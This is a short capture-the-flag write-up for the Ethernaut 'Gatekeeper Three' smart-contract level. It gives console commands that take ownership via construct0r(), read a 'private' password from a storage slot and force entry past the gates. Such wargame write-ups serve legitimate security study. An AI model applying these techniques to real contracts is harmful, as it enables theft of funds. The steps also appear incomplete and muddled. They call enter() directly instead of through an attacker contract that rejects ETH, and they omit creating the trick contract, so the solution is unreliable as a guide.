Writeups/Ethernaut/Gatekeeper Three
HardEthernaut · Ethernaut2024

Gatekeeper Three

Three Independent Gate Bypasses

Gate 1 requires the trick contract to own itself (deployer calls `construct0r()`). Gate 2 reads a private `password` from storage and passes it to `getAllowance()`. Gate 3 requires the contract to hold over 0.001 ETH while having a `receive()` that reverts.

Soliditytx.originPassword SlotETH RejectionMulti-Gate

00Overview

Gate 1 requires the trick contract to own itself (deployer calls `construct0r()`). Gate 2 reads a private `password` from storage and passes it to `getAllowance()`. Gate 3 requires the contract to hold over 0.001 ETH while having a `receive()` that reverts.

01Call construct0r to take ownership

javascript
await contract.construct0r()

02Read password slot and call getAllowance

javascript
const pwd = await web3.eth.getStorageAt(instance, 2)
await contract.getAllowance(pwd)

03Fund the contract and enter

javascript
await web3.eth.sendTransaction({from: player, to: instance, value: toWei("0.0011")})
await contract.enter()

04Level Completed

Gatekeeper Three — completion screenshot 1